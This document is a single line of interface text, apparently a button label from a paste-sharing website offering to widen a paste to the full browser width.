— Expand Paste to full width of browser